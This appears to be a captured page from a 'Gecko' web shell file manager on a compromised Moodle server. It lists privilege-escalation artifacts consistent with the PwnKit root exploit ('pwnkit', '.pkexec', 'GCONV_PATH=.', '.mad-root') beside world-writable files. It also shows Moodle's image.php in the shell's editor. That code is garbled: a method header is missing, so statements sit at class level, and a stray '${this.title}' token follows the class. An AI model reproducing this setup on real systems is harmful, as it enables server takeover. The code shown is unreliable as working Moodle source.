Gecko [ 167.86.127.34 ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
classes	[ DIR ]	drwxrwxrwx
db	[ DIR ]	drwxrwxrwx
lang	[ DIR ]	drwxrwxrwx
pix	[ DIR ]	drwxrwxrwx
tests	[ DIR ]	drwxrwxrwx
.mad-root	0 B	-rw-r--r--
image.php	4.91 KB	-rwxrwxrwx
lib.php	20.69 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rwxr-xr-x
version.php	1.2 KB	-rwxrwxrwx

Code Editor : image.php

<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * moodle_image class
 *
 * @package    repository
 * @subpackage flickr_public
 * @author     Dongsheng Cai <dongsheng@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU Public License
 */
class moodle_image {
    private $imagepath;
    private $info;
    private $width;
    private $height;
    private $image;
    private $backup;

function __construct($img) {
        ini_set('gd.jpeg_ignore_warning', 1);
        if(!function_exists('imagecreatefrompng')
            and !function_exists('imagecreatefromjpeg')) {
            throw new moodle_exception('gdnotexist');
        }
        if(!file_exists($img) or !is_readable($img)) {
            throw new moodle_exception('invalidfile');
        }

$this->imagepath = $img;
        unset($img);
        $this->info = getimagesize($this->imagepath);

switch($this->info['mime']) {
        case 'image/jpeg':
            $this->image = imagecreatefromjpeg($this->imagepath);
            break;
        case 'image/png':
            $this->image = imagecreatefrompng($this->imagepath);
            break;
        case 'image/gif':
            $this->image = imagecreatefromgif($this->imagepath);
            break;
        default:
            break;
        }
        $this->width  = imagesx($this->image);
        $this->height = imagesy($this->image);
    }

function destroy() {
         imagedestroy($this->image);
         imagedestroy($this->backup);
         return true;
    }

function undo() {
        $this->image = $this->backup;
        return $this;
    }

if (empty($options['font'])) {
            $options['font'] = $CFG->libdir . '/default.ttf';
        }
        if (empty($options['angle'])) {
            $options['angle'] = 0;
        }
        $clr = imagecolorallocate($this->image, 255, 255, 255);
        if (!empty($options['ttf'])) {
            imagettftext($this->image,
                $options['fontsize'],        // font size
                $options['angle'],
                $pos[0],
                $pos[1]+$options['fontsize'],
                $clr,
                $options['font'],
                $text);
        } else {
            imagestring($this->image, $options['fontsize'], $pos[0], $pos[1], $text, $clr);
        }
        return $this;
    }

function rotate($angle=0, $bgcolor=0) {
        $this->image = imagerotate($this->image, $angle, $bgcolor);
        return $this;
    }

function display() {
        header('Content-type: '.$this->info['mime']);
        switch($this->info['mime']) {
        case 'image/png':
            imagepng($this->image);
            break;
        case 'image/jpeg':
            imagejpeg($this->image);
            break;
        case 'image/gif':
            imagegif($this->image);
            break;
        default:
            break;
        }
        $this->destroy();
        return $this;
    }
}

${this.title}

Code Editor : image.php